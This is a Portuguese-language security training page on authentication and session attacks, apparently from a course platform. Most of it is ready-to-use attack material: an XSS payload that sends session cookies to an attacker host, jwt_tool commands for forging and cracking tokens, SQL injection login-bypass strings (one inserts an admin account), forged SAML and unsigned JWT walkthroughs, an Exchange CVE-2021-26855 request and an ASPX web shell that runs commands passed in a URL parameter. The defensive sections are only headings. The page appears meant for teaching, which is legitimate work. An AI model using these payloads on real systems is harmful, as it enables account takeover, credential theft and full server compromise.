✅ Compreensao fundamental

• Mecanismos de autenticacao e falhas de implementacao
• Gerenciamento de ciclo de vida de sessao e seguranca
• Sistemas de autenticacao baseados em tokens
• Implementacoes criptograficas e fraquezas

🔍 Habilidades avancadas

• Ferramentas e tecnicas de manipulacao JWT
• Metodos de analise e exploracao de sessao
• Teste e validacao de escalacao de privilegios
• Implementacao segura e remediacao

Falhas comuns

Erros tipicos de implementacao de autenticacao

Politicas de senha fracas
Tokens de sessao previsiveis
Regeneracao de sessao ausente
Reset de senha inseguro
Injecao SQL no login
Controle de acesso do lado do cliente

Vetores de ataque

Metodos usados para comprometer autenticacao

Fixacao de sessao
Sequestro de sessao
Manipulacao JWT
Manipulacao de parametros
Envenenamento de reset de senha
Ataques de forca bruta

Impacto potencial

O que atacantes podem alcancar

Tomada de conta
Escalacao de privilegios
Acesso a dados
Controle administrativo
Movimento lateral
Acesso persistente

Fixacao e sequestro de sessao

# Fluxo de ataque de fixacao de sessao
1. Atacante obtem ID de sessao valido: JSESSIONID=ABC123
2. Vitima e enganada para usar esse ID de sessao
3. Vitima se autentica com o ID de sessao fixado
4. Atacante usa o ID de sessao conhecido para acessar a conta da vitima

# Tecnicas de implementacao
# Email/engenharia social com sessao pre-definida
http://<target>/login?JSESSIONID=ATTACKER_CONTROLLED_ID

# XSS para definir cookie de sessao
document.cookie="JSESSIONID=FIXED_SESSION_ID; path=/"

# Sequestro de sessao via XSS
<script>
fetch('http://<attacker>/steal', {
  method: 'POST',
  body: 'session=' + document.cookie
});
</script>

# Interceptacao de rede (trafego nao criptografado)
# Monitore trafego de rede para cookies de sessao
# Use ferramentas como Wireshark, tcpdump ou Burp Suite

# Analise de predicao de sessao
# Colete multiplos IDs de sessao para identificar padroes
session1: ABC123456
session2: ABC123457
session3: ABC123458  # Sequencial = previsivel

Ataques de sessao funcionam porque muitas aplicacoes falham em regenerar IDs de sessao apos autenticacao ou usam algoritmos de geracao de sessao previsiveis.

Manipulacao JWT com jwt_tool

# Instalar jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip install -r requirements.txt

# Analisar estrutura de token JWT
python jwt_tool.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# Ataque de confusao de algoritmo (RS256 → HS256)
python jwt_tool.py -S hs256 -k public_key.pem JWT_TOKEN

# Ataque de algoritmo None (remover verificacao de assinatura)
python jwt_tool.py -X a JWT_TOKEN

# Quebrar segredos HMAC fracos
python jwt_tool.py -C -d /usr/share/wordlists/rockyou.txt JWT_TOKEN

# Modificacao manual de token
# 1. Decodificar header e payload (base64)
# 2. Modificar payload: {"role": "admin", "user": "attacker"}
# 3. Recodificar com valores modificados
# 4. Para algoritmo 'none', remover assinatura completamente

# Exemplo: Alterar role do usuario
Original: {"sub": "1234", "name": "John", "role": "user"}
Modificado: {"sub": "1234", "name": "John", "role": "admin"}

Ataques JWT tem sucesso quando aplicacoes aceitam algoritmos fracos, nao validam assinaturas adequadamente ou usam segredos previsiveis para assinatura de tokens.

Payloads de bypass de autenticacao

# Bypass de autenticacao basico
username: admin' --
password: anything

# Bypass baseado em booleano
username: admin' OR '1'='1' --
username: ' OR 1=1 LIMIT 1 --
username: admin' OR 'x'='x' --

# Coleta de informacoes baseada em UNION
username: admin' UNION SELECT 1,username,password FROM users --

# Bypass de validacao de senha
username: admin
password: ' OR '1'='1

# Injecao cega baseada em tempo (para confirmar vulnerabilidade)
username: admin' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') AND SLEEP(5) --

# Bypass avancado com criacao de usuario
username: admin'; INSERT INTO users (username, password, role) VALUES ('hacker', 'password123', 'administrator'); --

# Variacoes de comentario para diferentes bancos de dados
-- (MySQL, PostgreSQL)
# (MySQL)
/* */ (MySQL, SQL Server)

Injecao SQL em autenticacao funciona manipulando a logica da query para sempre retornar verdadeiro ou extraindo credenciais de usuario diretamente do banco de dados.

# Passo 1: Analisar estrutura de resposta SAML
# GitLab aceita assertions SAML para autenticacao SSO
# Vulnerabilidade: Verificacao incorreta de assinatura XML

# Passo 2: Criar assertion SAML maliciosa
# Assertion assinada original contem email do usuario
# Modificar campo de email fora da porcao assinada

<saml:Assertion>
  <saml:Subject>
    <saml:NameID>victim@<target></saml:NameID>
  </saml:Subject>
  <saml:AttributeStatement>
    <saml:Attribute Name="email">
      <saml:AttributeValue>attacker@hackerdna.com</saml:AttributeValue>
    </saml:Attribute>
  </saml:AttributeStatement>
  <!-- Assinatura cobre apenas Subject, nao AttributeStatement -->
  <ds:Signature>...</ds:Signature>
</saml:Assertion>

# Passo 3: Bypass de autenticacao alcancado
# GitLab valida assinatura em Subject (email da vitima)
# Mas usa email de AttributeStatement (email do atacante)
# Resultado: Login como vitima com email controlado pelo atacante

# Passo 4: Tomada de conta
# Iniciar reset de senha usando conta comprometida
# Email de reset enviado para endereco controlado pelo atacante
# Tomada de conta completa sem saber a senha original

# Passo 1: Analisar implementacao da API de autenticacao Auth0
# Auth0 prevenia 'alg: none' com filtro case-sensitive
# Vulnerabilidade: Filtragem case-sensitive permitia bypass

# Passo 2: Obter estrutura de token JWT legitima
# Token normal teria alg: RS256 ou similar
{
  "alg": "RS256",
  "typ": "JWT"
}

# Passo 3: Explorar bypass de filtro case-sensitive
# Auth0 bloqueava 'none' minusculo mas nao variantes com maiusculas
# Criar token com 'None', 'nonE', 'NoNe', etc.

{
  "alg": "None",  # ou "nonE", "NoNe", "NONE"
  "typ": "JWT"
}

# Passo 4: Criar payload malicioso
# Criar payload com claims desejados
{
  "sub": "attacker@hackerdna.com",
  "aud": "auth0-application",
  "iss": "https://<target>.auth0.com/",
  "exp": 9999999999,
  "iat": 1516239022,
  "mfa_token": "bypass_mfa"
}

# Passo 5: Criar token nao assinado
# Codificar em base64 header e payload, sem assinatura
header = base64encode({"alg":"None","typ":"JWT"})
payload = base64encode({malicious_claims})
forged_token = header + "." + payload + "."

# Resultado: Bypass de autenticacao e potencial bypass de MFA
# API Auth0 retorna resposta 200 para tokens falsificados
# Aplicacoes confiando na validacao de token Auth0 sao comprometidas

# Passo 1: Identificar vulnerabilidade do servidor Exchange
# CVE-2021-26855: SSRF no Exchange permite bypass de autenticacao backend
# Vulnerabilidade: Validacao incorreta de header Host em requisicoes proxy

# Passo 2: Criar requisicao maliciosa com manipulacao de header Host
POST /ecp/DDI/DDIService.svc/GetObject HTTP/1.1
Host: <target>
Authorization: Bearer <any_token>
Content-Type: application/json
X-Forwarded-Host: localhost
X-Forwarded-For: 127.0.0.1

{
  "filter": {
    "Parameters": {
      "__type": "JsonDictionaryOfanyType:#Microsoft.Exchange",
      "SelectedView": "",
      "SelectedVDirType": "All"
    }
  }
}

# Passo 3: Bypass de autenticacao backend alcancado
# Backend Exchange confia em requisicoes de localhost
# Headers X-Forwarded fazem requisicao parecer interna
# Resultado: Acesso administrativo sem autenticacao

# Passo 4: Escalar para comprometimento completo do servidor
# Usar acesso autenticado para explorar CVEs adicionais
# CVE-2021-26857: Deserializacao insegura
# CVE-2021-26858: Escrita de arquivo arbitrario pos-auth

# Passo 5: Implantar web shell para acesso persistente
POST /owa/auth/Current/themes/resources/<webshell>.aspx
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
    string cmd = Request.QueryString["cmd"];
    if (cmd != null) {
        Process.Start("cmd.exe", "/c " + cmd);
    }
%>

# Resultado: Comprometimento completo do servidor Exchange e acesso persistente

Estrategias de protecao de sessao essenciais

Estrategia de defesa JWT multicamadas

Seguranca de autenticacao pronta para producao